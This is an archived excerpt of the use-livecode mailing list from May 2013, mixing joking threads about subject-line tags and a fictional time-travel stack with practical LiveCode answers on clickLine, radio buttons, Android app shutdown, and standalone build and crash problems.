_______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Tue May 7 11:02:39 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 08:02:39 -0700 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: <134295697072.20130507080239@ahsoftware.net> Andrew- > Very good question. Where IS this time travel external? I have some great > ideas for it. Jacque has a time *warp* stack, not a time *travel* external. Note that time travel itself would create paradoxes and is therefore impossible, but that the time warp stack has allowed (or will have allowed some time in the future past) time travel to be possible. -- -Mark Wieder mwieder at ahsoftware.net From nigels at amglighthouse.co.za Tue May 7 11:25:37 2013 From: nigels at amglighthouse.co.za (Nigel Soden) Date: Tue, 7 May 2013 17:25:37 +0200 Subject: Installing App oniPad Message-ID: <552D3D3B-92FB-4B99-9417-59AB0A32D75F@amglighthouse.co.za> Sorry Jacqueline I should have made myself clearer. From shawnlivecode at gmail.com Tue May 7 11:25:46 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 10:25:46 -0500 Subject: Can someone explain scroll view to newb In-Reply-To: <8D018F3FC58B910-D6C-13A2F@webmail-d213.sysops.aol.com> References: <8D018F3FC58B910-D6C-13A2F@webmail-d213.sysops.aol.com> Message-ID: Craig, thank you. That's what I'm talking about. Much easier than I was doing! For some reason I thought you have to use the scroll field, and add your buttons and radio buttons to that. Thank you for the easy explanation. On Mon, May 6, 2013 at 11:39 PM, wrote: > Hi > > > Not sure what you are asking, but try this in a blank card: > > > Put a bunch of buttons all over the card. Group them all. Give that group > scrollbars. > > > Now, with the pointer tool, select the group, and make the group much > smaller by dragging, say, the bottom right handle up and to the left. Now > select the browse tool, and scroll around the group, showing the various > buttons that were cut off when you resized. > > > Is this what you were getting at? > > > Craig Newman > > > > -----Original Message----- > From: Shawn Blc > To: How to use LiveCode > Sent: Tue, May 7, 2013 12:01 am > Subject: Can someone explain scroll view to newb > > > I have a card with many labels, text fields and radio buttons. In order > for this to be seen and eventually printed I'd like to be able to have > users scroll and answer the questions. > > I've tried the scroll field, and adding a group but can't get it working. > > Can someone explain scroll view and how I'd go about accomplishing the > above? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Tue May 7 11:36:21 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 07 May 2013 17:36:21 +0200 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: <51891F75.6040600@economy-x-talk.com> Hi Andre, I don't think it is necessary to use such tags but I wouldn't mind if people did. Of course, one problem is that beginners often don't know the etiquette of this mailing list and we'd still have to tell them about the tag :-) -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/7/2013 15:19, Andre Garzia wrote: > I think the best subject for a beginner question would be something like > > [BEGINNER] Where and when is Jacques time travel external located? > > This way we have a tag/label to easily screen or filter for beginner > questions and the question itself stays on the subject. > > Cheers > andre > > From mkoob at rogers.com Tue May 7 11:53:04 2013 From: mkoob at rogers.com (Martin Koob) Date: Tue, 7 May 2013 08:53:04 -0700 (PDT) Subject: Beginners questions subject headers In-Reply-To: <134295697072.20130507080239@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> Message-ID: <1367941984039-4664371.post@n4.nabble.com> I wonder how the patent office could sort out who invented or registered the time warp/travel external first. If time travel is possible in the future it has already been invented. Martin -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Beginners-questions-subject-headers-tp4664359p4664371.html Sent from the Revolution - User mailing list archive at Nabble.com. From richmondmathewson at gmail.com Tue May 7 11:57:54 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 07 May 2013 18:57:54 +0300 Subject: [TG] tags In-Reply-To: <1367941984039-4664371.post@n4.nabble.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> Message-ID: <51892482.2090401@gmail.com> If we want to "get off onto" tags we could define a whole lot: BG = beginner TXT = text related IMG = graphics related CH = cheese TG = totally goofy MW = Mark Wieder RM = Richmond's Mood Swings GAY = quod erat demonstrandum MAGE = strictly for the heavy lifting brigade OT = off topic RFOH = ruling from on high, a.k.a. Heather TTF = tending towards foolishness OS = overly serious LSHFWCTT = let's see how far we can take this PALFTYRMOF = probably a lot further than you realise my old friend the only problem is that quite a few of those are synonymous Richmond. From dochawk at gmail.com Tue May 7 12:06:21 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 09:06:21 -0700 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: On Tue, May 7, 2013 at 7:40 AM, Andrew Kluthe wrote: > Very good question. Where IS this time travel external? I have some great > ideas for it > An ill behaved app went back and removed it before it was invented, obliterating the inventor from history. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From m.schonewille at economy-x-talk.com Tue May 7 12:09:18 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 07 May 2013 18:09:18 +0200 Subject: [TG] tags In-Reply-To: <51892482.2090401@gmail.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> Message-ID: <5189272E.1000908@economy-x-talk.com> Richmond, What's the tag for "On Topic"? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/7/2013 17:57, Richmond wrote: > If we want to "get off onto" tags we could define a whole lot: > > BG = beginner > > TXT = text related > > IMG = graphics related > > CH = cheese > > TG = totally goofy > > MW = Mark Wieder > > RM = Richmond's Mood Swings > > GAY = quod erat demonstrandum > > MAGE = strictly for the heavy lifting brigade > > OT = off topic > > RFOH = ruling from on high, a.k.a. Heather > > TTF = tending towards foolishness > > OS = overly serious > > LSHFWCTT = let's see how far we can take this > > PALFTYRMOF = probably a lot further than you realise my old friend > > the only problem is that quite a few of those are synonymous > > Richmond. From warren at warrensweb.us Tue May 7 12:29:59 2013 From: warren at warrensweb.us (Warren Samples) Date: Tue, 07 May 2013 11:29:59 -0500 Subject: Beginners questions subject headers In-Reply-To: <1367941984039-4664371.post@n4.nabble.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> Message-ID: <51892C07.1010604@warrensweb.us> On 05/07/2013 10:53 AM, Martin Koob wrote: > I wonder how the patent office could sort out who invented or registered the > time warp It was probably a drummer. From mwieder at ahsoftware.net Tue May 7 12:53:00 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 16:53:00 +0000 (UTC) Subject: [ANN] simple publisher/subscriber library for LiveCode References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: Mark Wieder writes: > Yeah, OK. I'll post it later tonight. I just had a quick look at your My bad. I got involved in other things and forgot to do this. I'll get to it. -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue May 7 12:55:01 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 16:55:01 +0000 (UTC) Subject: Beginners questions subject headers References: <5188E6F0.6020908@gmail.com> <51891F75.6040600@economy-x-talk.com> Message-ID: Mark Schonewille writes: > Of course, one problem is that beginners often don't know > the etiquette of this mailing list and we'd still have to tell them > about the tag LOL. Good point. -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Tue May 7 13:25:57 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 12:25:57 -0500 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: <51893925.1050607@hyperactivesw.com> Man, the minute you go off on a debugging tour of the past, everybody starts talking about you. How do they know? > Where and when is Jacques time travel external located? It is currently in Alpha. Alpha Centari. I had a little slip-up. > Very good question. Where IS this time travel external? I have some great > ideas for it. It isn't an external, sorry. Since there is nothing else quite like it, it must stand alone. > Jacque has a time *warp* stack, not a time *travel* external. > Note that time travel itself would create paradoxes and is therefore > impossible, but that the time warp stack has allowed (or will have > allowed some time in the future past) time travel to be possible. Thanks for this, I keep trying to get that across. The warp is be-weft right now but I'm working on it. The paradoxes are something of a problem at present. I mean, at past. That is, they will be a problem. > I wonder how the patent office could sort out who invented or registered the > time warp/travel external first. > > If time travel is possible in the future it has already been invented. This is an astute observation. I registered the patent a few years from now but the details got tangled up. Apparently they don't believe I have such a thing, even though I was (briefly) able to pop into their offices without going through the door. Instead, they fired the security guard. > An ill behaved app went back and removed it before it was invented, > obliterating the inventor from history. I beg your pardon, rumors of my demise are greatly exaggerated. Or they will be. Of course, there's always the possibility I skimmed over that event. I did end up in the Jurassic once, but that's not really obliteration, it's more like pre-cognition with physicality. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Tue May 7 14:09:29 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 11:09:29 -0700 Subject: clickLine/clickcharchunk Message-ID: Struggling a little with the correct use of the clickline. It returns something like "line 3 of field 1" so I would have expected that something like "put the clickline into tLine" would get me the contents of line 3 of field 1, but it gets me "line 3 of field 1". Is there a way to use the full contents of the clickline? Right now, I'm doing "put line (word 2 of the clickline) of field (word 4 of the clickline) into tLine", but that seems unnecessarily longwinded. I guess I could use "do" and piece together a command but that doesn't seem like a good solution either. Got a related issue with the clickCharChunk. It gets me the overall character number within a field; what I need is the character position within the line of the field. I know there are some indexxxx functions from 5.5 onward but how did people figure this out prior to 5.5? Pete lcSQL Software From bonnmike at gmail.com Tue May 7 14:19:56 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 7 May 2013 12:19:56 -0600 Subject: clickLine/clickcharchunk In-Reply-To: References: Message-ID: If you want the value of the clickline you can use value(the clickline) the clickcharchunk returns a char offset at which point you can "put the number of lines in char 1 to (word 2 of the clickcharchunk) of container" then subtract the number of chars of line 1 to (word 2 of the clickcharchunk) - 1) from word 2 of the clickcharchunk (I think, this is just off the top of my head real quick) Something like that, though the indexes make it mucho easier. I'm sure there are other probably easier ways but these work ok. On Tue, May 7, 2013 at 12:09 PM, Peter Haworth wrote: > Struggling a little with the correct use of the clickline. > > It returns something like "line 3 of field 1" so I would have expected that > something like "put the clickline into tLine" would get me the contents of > line 3 of field 1, but it gets me "line 3 of field 1". > > Is there a way to use the full contents of the clickline? Right now, I'm > doing "put line (word 2 of the clickline) of field (word 4 of the > clickline) into tLine", but that seems unnecessarily longwinded. I guess I > could use "do" and piece together a command but that doesn't seem like a > good solution either. > > Got a related issue with the clickCharChunk. It gets me the overall > character number within a field; what I need is the character position > within the line of the field. I know there are some indexxxx functions > from 5.5 onward but how did people figure this out prior to 5.5? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andre.bisseret at wanadoo.fr Tue May 7 14:20:45 2013 From: andre.bisseret at wanadoo.fr (=?iso-8859-1?Q?Andr=E9_Bisseret?=) Date: Tue, 7 May 2013 20:20:45 +0200 Subject: clickLine/clickcharchunk In-Reply-To: References: Message-ID: Le 7 mai 2013 ? 20:09, Peter Haworth a ?crit : > Struggling a little with the correct use of the clickline. > > It returns something like "line 3 of field 1" so I would have expected that > something like "put the clickline into tLine" would get me the contents of > line 3 of field 1, but it gets me "line 3 of field 1". Put value(the clickLine) Best regards from Grenoble Andr? > > Is there a way to use the full contents of the clickline? Right now, I'm > doing "put line (word 2 of the clickline) of field (word 4 of the > clickline) into tLine", but that seems unnecessarily longwinded. I guess I > could use "do" and piece together a command but that doesn't seem like a > good solution either. > > Got a related issue with the clickCharChunk. It gets me the overall > character number within a field; what I need is the character position > within the line of the field. I know there are some indexxxx functions > from 5.5 onward but how did people figure this out prior to 5.5? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Tue May 7 14:21:08 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 7 May 2013 11:21:08 -0700 Subject: clickLine/clickcharchunk In-Reply-To: References: Message-ID: <28137DD5-BA00-455E-A92C-FCE61A5C2388@tactilemedia.com> Value? Scott Rossi Creative Director Tactile Media, UX Design On May 7, 2013, at 11:09 AM, Peter Haworth wrote: > Struggling a little with the correct use of the clickline. > > It returns something like "line 3 of field 1" so I would have expected that > something like "put the clickline into tLine" would get me the contents of > line 3 of field 1, but it gets me "line 3 of field 1". > > Is there a way to use the full contents of the clickline? Right now, I'm > doing "put line (word 2 of the clickline) of field (word 4 of the > clickline) into tLine", but that seems unnecessarily longwinded. I guess I > could use "do" and piece together a command but that doesn't seem like a > good solution either. > > Got a related issue with the clickCharChunk. It gets me the overall > character number within a field; what I need is the character position > within the line of the field. I know there are some indexxxx functions > from 5.5 onward but how did people figure this out prior to 5.5? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Tue May 7 14:34:53 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 13:34:53 -0500 Subject: suspend/resume messages on Android? In-Reply-To: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au> Message-ID: <5189494D.2060603@hyperactivesw.com> On 5/7/13 1:28 AM, Terry Judd wrote: > I've been going back through the list archives and I'm still not > exactly sure how you're supposed to deal with 'suspending' and > 'resuming' an Android app. It seems that in most cases, and unlike in > iOS, when you switch away from an Android app and then return to it > it will be in the same state that you left it. That's a good thing, > but I'd still like to receive some sort of message or notification > when the user leaves and returns to the app as I potentially need to > do some housekeeping depending on the interval between the leaving > and the return. Is there a preferred way of doing this? There is always a "shutdown" message sent when the user leaves the app, even if the OS keeps it available in the background. Android manages app availability on its own. Usually if you leave an app and come back immediately or soon after, it will still be held in RAM and it will resume where it left off. But you can't rely on that. Android will wipe it from RAM whenever it needs more room, and that can be at any time. So it is best to always assume the app will be starting from scratch the next time it opens. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 14:51:31 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 13:51:31 -0500 Subject: clickLine/clickcharchunk In-Reply-To: References: Message-ID: <51894D33.8050309@hyperactivesw.com> On 5/7/13 1:09 PM, Peter Haworth wrote: > Is there a way to use the full contents of the clickline? Another alternative to "value" is: get the text of the clickline -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From shawnlivecode at gmail.com Tue May 7 15:08:34 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 14:08:34 -0500 Subject: [BEGINNER] What could cause a radio button not to hilite? Message-ID: [BEGINNER] What could cause a radio button not to hilite? In my property profiles I have the group enabled, select grouped controls, hilite one radio button at a time, etc. Same properties as a previous card, but for some reason on this card I can't hilite a radio button. Any ideas on what could cause a radio button not to hilite when clicked? From pete at lcsql.com Tue May 7 15:11:21 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 12:11:21 -0700 Subject: clickLine/clickcharchunk In-Reply-To: References: Message-ID: Thanks Mike, Andre, and Scott. Never used value before so you filled another gap in my LC knowledge. Feels like value could be a way round using do statements in some circumstances. Pete lcSQL Software From shawnlivecode at gmail.com Tue May 7 15:25:03 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 14:25:03 -0500 Subject: [BEGINNER] What could cause a radio button not to hilite? Message-ID: I got it. Before I grouped the buttons I didn't have 'auto hilite' ticked. Once I did that and regrouped the group it fixed my problem. From dochawk at gmail.com Tue May 7 16:13:26 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 13:13:26 -0700 Subject: Beginners questions subject headers In-Reply-To: <51893925.1050607@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 10:25 AM, J. Landman Gay wrote: >> >> An ill behaved app went back and removed it before it was invented, >> obliterating the inventor from history. > > > I beg your pardon, rumors of my demise are greatly exaggerated. Or they will be. Of course, there's >always the possibility I skimmed over that event. I did end up in the Jurassic once, but that's not really >obliteration, it's more like pre-cognition with physicality. And now, folks, a moment of silence for Jacque, as we cherish his last pre-obliteration message. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From shawnlivecode at gmail.com Tue May 7 16:40:29 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 15:40:29 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? Message-ID: Anyone else experiencing crashes with Commercial Build 1513? In the last three days I must have over 10 crashes with Commercial Build 1513. Anyone experiencing several crashes? From mark.rauterkus at gmail.com Tue May 7 16:42:23 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Tue, 7 May 2013 16:42:23 -0400 Subject: Can't make a stand alone In-Reply-To: References: Message-ID: Hi, I had a pickle of a time making a LC 6 Community Edition standalone but figured out the problem and perhaps it is a bug / issue for others too???? I had LC 5.5 EDUCATION version (for my summer camp attendance challenge) and built a desktop application on WIN last year. This year I started working on it again with LiveCode 6. Community, but I could NOT get the Standalone app to LAUNCH in WIN XP, Vista, Win7, on 4 different PCs. Boo. But, it works with LC 5.5.1 -- and the message of NONCOMMERCIAL / Education use comes up for 3 seconds or so -- about the same time that the standalone tries to work before stopping. PERHAPS one can't use an code base that began with EDUCATIONAL LC projects, make changes, and then go to LC Community, make more changes and have any luck making a WIN Standalone open? So, is this the case? Could it be? Can there be a 'scrubber' of sorts that can be removed from Education build apps so that they can move forward? Thanks to Mark S on the Facebook Dev group for helping me to this point. BTW, no extensions used, as per a past tip too. -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com PPS Summer Dreamers' Swim and Water Polo Camp Head Coach Pittsburgh Combined Water Polo Team http://Rauterkus.blogspot.com http://FixPA.wikia.com http://CLOH.wikia.com 412 298 3432 = cell === prior posting === On Mon, May 6, 2013 at 11:31 PM, Mark Rauterkus wrote: > > Hi, > > Looking for tips on making a WIN standalone with LiveCode Community 6. > > Failed, with WinXP, and Win Vista. > > A few test apps and a simple 2 card app worked. But, the main body of my > application won't open. I get an error. > > > https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-snc6/p480x480/179116_10151587776614941_877724884_n.jpg > > > Thanks. > > > Mark Rauterkus > mark at Rauterkus.com > > > From m.schonewille at economy-x-talk.com Tue May 7 16:43:26 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 07 May 2013 22:43:26 +0200 Subject: [IMPORTANT] Programming LiveCode for the Real Beginner In-Reply-To: <5179C0E3.3090802@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> Message-ID: <5189676E.1090503@economy-x-talk.com> Hi, This is an e-mail for everyone who has bought the book. I've noticed that some people using PayPal are paying with an invalid e-mail address. If you used PayPal to pay for the book and didn't get an automatic reply, please log in on your PayPal account and check that the e-mail address is one on which we can reach you. If you are not sure that we can communicate with you, send an e-mail from your PayPal address to support at economy-x-talk.com and wait for the reply. If you don't get it within a few hours, you should change your PayPal address and notify support again. Once your (new) e-mail address has been checked successfully, we will change it in our order database if necessary. When you contact us, make sure to use your PayPal address. Otherwise, all this doesn't make any sense. An automatic reply means a reply from Economy-x-Talk, not PayPal. The From address should be support at economy-x-talk.com. This is really important(!) because we use your PayPal address to inform you about your order status and to check the shipping address among other things. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From pete at lcsql.com Tue May 7 16:52:05 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 13:52:05 -0700 Subject: clickLine/clickcharchunk In-Reply-To: <51894D33.8050309@hyperactivesw.com> References: <51894D33.8050309@hyperactivesw.com> Message-ID: Thanks Jacque. That feels a little more natural than value(the clickline) Pete lcSQL Software On Tue, May 7, 2013 at 11:51 AM, J. Landman Gay wrote: > On 5/7/13 1:09 PM, Peter Haworth wrote: > > Is there a way to use the full contents of the clickline? >> > > Another alternative to "value" is: get the text of the clickline > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From jacques.hausser at unil.ch Tue May 7 16:59:59 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Tue, 7 May 2013 22:59:59 +0200 Subject: [TG] tags In-Reply-To: <51892482.2090401@gmail.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> Message-ID: Le 7 mai 2013 ? 17:57, Richmond a ?crit : > CH = cheese I have to protest about this one. CH very officially means "Confederatio Helvetica", AKA Switzerland. The fact that Switzerland is also the fatherland of some of the best ch**ses in this world is purely incidental. Try "LD" for Leerdammer instead. Jacques From jacque at hyperactivesw.com Tue May 7 17:07:10 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 16:07:10 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: Message-ID: <51896CFE.10102@hyperactivesw.com> On 5/7/13 3:40 PM, Shawn Blc wrote: > Anyone else experiencing crashes with Commercial Build 1513? > > In the last three days I must have over 10 crashes with Commercial Build > 1513. Anyone experiencing several crashes? Crashes or hangs? I get hangs all the time, and they require a force-quit. I haven't pinpointed why yet. What are you doing when it happens? Maybe I'm doing that too. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Tue May 7 17:22:22 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Tue, 7 May 2013 17:22:22 -0400 Subject: [TG][PRO] tags In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> Message-ID: <00a501ce4b68$f71c6bc0$e5554340$@net> As long as protests are in play. First of all.... GAY = quod erat demonstrandum I object to GAY. This should be reserved for Jacque. You know, when you get one of those "Believe me on this one" code gems. quod erat demonstrandum can just use [QED] [PRO] = I protest. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Jacques Hausser Sent: Tuesday, May 07, 2013 5:00 PM To: How to use LiveCode Subject: Re: [TG] tags Le 7 mai 2013 ? 17:57, Richmond a ?crit : > CH = cheese I have to protest about this one. CH very officially means "Confederatio Helvetica", AKA Switzerland. The fact that Switzerland is also the fatherland of some of the best ch**ses in this world is purely incidental. Try "LD" for Leerdammer instead. Jacques _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Tue May 7 17:24:15 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 16:24:15 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <51896CFE.10102@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> Message-ID: I'm definitely getting crashes. Just happened again! I haven't noticed anything in particular on why the crashes are happening, but they're happening and seem to be happening when I'm hitting the next button on a card (go next). It's not often enough to say that that's the problem though. On Tue, May 7, 2013 at 4:07 PM, J. Landman Gay wrote: > On 5/7/13 3:40 PM, Shawn Blc wrote: > >> Anyone else experiencing crashes with Commercial Build 1513? >> >> In the last three days I must have over 10 crashes with Commercial Build >> 1513. Anyone experiencing several crashes? >> > > Crashes or hangs? I get hangs all the time, and they require a force-quit. > I haven't pinpointed why yet. What are you doing when it happens? Maybe I'm > doing that too. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From stephenREVOLUTION2 at barncard.com Tue May 7 17:24:32 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 7 May 2013 14:24:32 -0700 Subject: [BEGINNER] What could cause a radio button not to hilite? In-Reply-To: References: Message-ID: This is the joy of this list. Often when one states the problem, one can figure it out right away, and if not, one has friends here that went through it before. On Tue, May 7, 2013 at 12:25 PM, Shawn Blc wrote: > I got it. Before I grouped the buttons I didn't have 'auto hilite' ticked. > Once I did that and regrouped the group it fixed my problem. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From dochawk at gmail.com Tue May 7 17:27:28 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 14:27:28 -0700 Subject: [TG] tags In-Reply-To: <5189272E.1000908@economy-x-talk.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <5189272E.1000908@economy-x-talk.com> Message-ID: On Tue, May 7, 2013 at 9:09 AM, Mark Schonewille wrote: > What's the tag for "On Topic"? On Topic??? We don't need no steenkin' on topic . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From jacques.hausser at unil.ch Tue May 7 17:27:40 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Tue, 7 May 2013 23:27:40 +0200 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <51896CFE.10102@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> Message-ID: My "problem" is that till now I didn't have any crash with Commercial built 1513? I'm working on a stack which deals mainly with images and also with interfacing with google maps. Can you tell what exactly you are doing ? Jacques Le 7 mai 2013 ? 23:07, "J. Landman Gay" a ?crit : > On 5/7/13 3:40 PM, Shawn Blc wrote: >> Anyone else experiencing crashes with Commercial Build 1513? >> >> In the last three days I must have over 10 crashes with Commercial Build >> 1513. Anyone experiencing several crashes? > > Crashes or hangs? I get hangs all the time, and they require a force-quit. I haven't pinpointed why yet. What are you doing when it happens? Maybe I'm doing that too. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From terry.judd at unimelb.edu.au Tue May 7 17:35:23 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Tue, 7 May 2013 21:35:23 +0000 Subject: suspend/resume messages on Android? In-Reply-To: <5189494D.2060603@hyperactivesw.com> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> Message-ID: On 08/05/2013, at 4:35 AM, "J. Landman Gay" wrote: > On 5/7/13 1:28 AM, Terry Judd wrote: >> I've been going back through the list archives and I'm still not >> exactly sure how you're supposed to deal with 'suspending' and >> 'resuming' an Android app. It seems that in most cases, and unlike in >> iOS, when you switch away from an Android app and then return to it >> it will be in the same state that you left it. That's a good thing, >> but I'd still like to receive some sort of message or notification >> when the user leaves and returns to the app as I potentially need to >> do some housekeeping depending on the interval between the leaving >> and the return. Is there a preferred way of doing this? > > There is always a "shutdown" message sent when the user leaves the app, even if the OS keeps it available in the background. > > Android manages app availability on its own. Usually if you leave an app and come back immediately or soon after, it will still be held in RAM and it will resume where it left off. But you can't rely on that. Android will wipe it from RAM whenever it needs more room, and that 